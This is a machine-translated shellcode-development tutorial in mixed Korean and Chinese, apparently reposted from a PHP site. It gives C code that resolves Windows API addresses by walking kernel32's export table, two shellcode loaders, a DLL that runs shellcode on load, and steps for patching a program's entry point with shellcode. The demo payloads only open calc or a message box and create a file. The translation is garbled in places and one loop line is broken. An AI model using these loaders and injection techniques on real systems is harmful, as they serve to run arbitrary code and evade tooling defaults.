셸코드의 핵심은 실제로 독립적으로 실행될 수 있는 어셈블리 코드 조각입니다. 파일 구조가 없고 컴파일 환경에 의존하지 않으며 exe처럼 실행하기 위해 두 번 클릭할 수 없습니다. 여기서는 특정 쉘코드에 대해 자세히 설명하지 않겠습니다. Baidu에서 직접 관련 정보를 검색할 수 있습니다.
지난 6개월 동안 침투를 많이 했기 때문에 사용되는 쉘코드도 CS나 MSF에서 생성되는 것인데, 툴에서 자동으로 생성한 쉘코드는 결국 죽어버렸고, 기능을 확장할 방법도 없습니다. 또 다른 예는 새로운 취약점을 알고 있지만, 취약점 악용 POC는 계산기만 띄울 수 있기 때문에 원하는 기능을 구현하려면 쉘코드를 직접 작성하는 것이 특히 중요합니다. 쉘코드 작성 기술을 익히고, 버퍼 오버플로우와 웜 방지에도 쉘코드가 필수적입니다.
쉘코드를 직접 작성하려면 쉘코드 작성 시 가장 중요한 지식 포인트를 알아야 합니다. 아래에서는 해결해야 할 포인트를 질문 형식으로 나열하겠습니다.
1. 쉘코드도 프로그램인데 정상적으로 실행되려면 다양한 데이터(전역 문자열 등)를 사용해야 하는데, 전역 변수는 고정된 주소(하드코딩, 즉, (하드 코딩됨)(변경할 수 없음), 그리고 우리의 쉘코드는 어떤 프로그램의 어느 곳에서나 실행되도록 배열될 수 있습니다. 이 경우 쉘코드가 필요한 데이터에 정확하게 액세스할 수 있는지 어떻게 보장할 수 있습니까?
2. 쉘코드는 운영 체제에서도 실행되며 일부 시스템 API를 호출해야 합니다. 이러한 API의 주소는 어떻게 얻을 수 있나요?
3. 필요한 API가 Shellcode가 실행하는 프로그램에 Import되어 있지 않아 이를 사용해야 하는 경우 어떻게 해야 할까요?
공간상의 이유로 인해 FB 수석 저자 Rabbit_Run이 번역한 세 가지 기사 "Windows 플랫폼 쉘코드 개발 소개 1, 2, 3"에서 이러한 질문에 대한 답을 찾을 수 있습니다. 기본적으로 쉘코드를 작성하는 데 필요한 모든 사전 지식이 있습니다. 관련되어 있으므로 질문을 가져와 답변을 찾을 수 있습니다.
이러한 사전 지식을 알고 난 후에도 순수하게 쉘코드를 작성하는 것은 js를 사용하는 것보다 훨씬 열등하고 까다롭습니다. Jquery와 같은 프레임워크는 개발이 편리하고 빠릅니다. 따라서 우리는 사용자 정의 함수 작성을 용이하게 하는 쉘코드 프로그래밍 프레임워크를 구축해야 합니다. 이런 쉘코드 프로그래밍 프레임워크는 인터넷에 많이 있는데 TK가 오픈소스로 사용했던 것, OneBugMan 선생님이 예전에 썼던 것 등이 있습니다. 학교 다닐 때 쉘코드 프로그래밍 프레임워크를 썼는데, 못하겠어요. 이 침투 기간 동안 이전 지식을 많이 잊어버렸기 때문에 OneBugMan이 가르치는 과정을 기반으로 쉘코드 프레임워크를 작성하고 실습했습니다. (관심 있는 경우 선생님의 공개 수업을 지원하면 됩니다.) , 매우 좋습니다).
를 생성하려면 win32 빈 프로젝트를 사용하세요. 프로젝트를 선택하고 컴파일할 상대/x86 구성을 선택합니다. 컴파일하기 전에 다음 설정을 지정해야 합니다.
파일 이름을 이렇게 짓는 이유는 프로젝트에 있는 파일들이 먼저 숫자로 정렬되고 그 다음 문자로 정렬되기 때문입니다. 아래 그림과 같이 exe 코드 부분의 함수 순서도 아래 파일의 함수 순서에 따라 정렬되어 있으므로 Shellcode의 크기(z.end의 ShellcodeEnd 빼기)를 쉽게 계산할 수 있습니다. a.start의 ShellcodeStart는 쉘코드의 크기입니다. 따라서 최종 생성된 파일에 쉘코드가 기록됩니다.
이름이 일치하지 않으면 진입점을 찾을 수 없습니다. 진입점이 일부 C 형식 함수를 직접 사용할 수 없도록 수정되었으며 다음으로 변경되어야 합니다. 동적 호출 형태도 있습니다. 우리가 작성하는 쉘코드의 크기.
준비: kernel32.dll의 매트릭스를 동적으로 얻고 PE 파일 형식을 사용하여 GetPro를 얻습니다. caddress 함수 주소를 사용하여 LoadLibrary 주소를 추가로 얻을 수 있습니다. 이러한 전면 단계를 통해 다른 API의 주소를 얻을 수 있습니다. GetProcAddress 함수 주소를 아래와 같이 작성해야 하는 이유는 이 작성 방법을 사용하면 문자열이 작성되기 때문입니다. 프로그램의 rdata 세그먼트에 추가되어 절대 주소가 됩니다. 절대 주소를 사용하면 쉘코드 실행 오류가 발생합니다.FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }아래 초기화 함수 부분에서는 우리가 사용하고 있는 함수가 어떤 dll에 있는지 알아야 합니다. 예를 들어 system() 함수를 사용하여 명령을 실행하려면 먼저 다음을 통해 msvCRT.dll을 로드해야 합니다. 다음 그림과 getprocaddress를 통해 이 함수는 시스템 함수를 찾습니다. 시스템 기능(예: 계산기 호출)에 사용되는 명령 문자열도 char szCalc[] = { 'c','a','l','c',0}; . 안녕하세요 메시지를 표시한 다음 1.txt 문서를 만듭니다.
图7 生成的shellcode
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
源码A
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }</stdio.h></windows.h>
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }</iostream></windows.h>
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }</windows.h></stdlib.h></stdio.h>
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
위 내용은 쉘코드는 무엇을 의미하나요?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!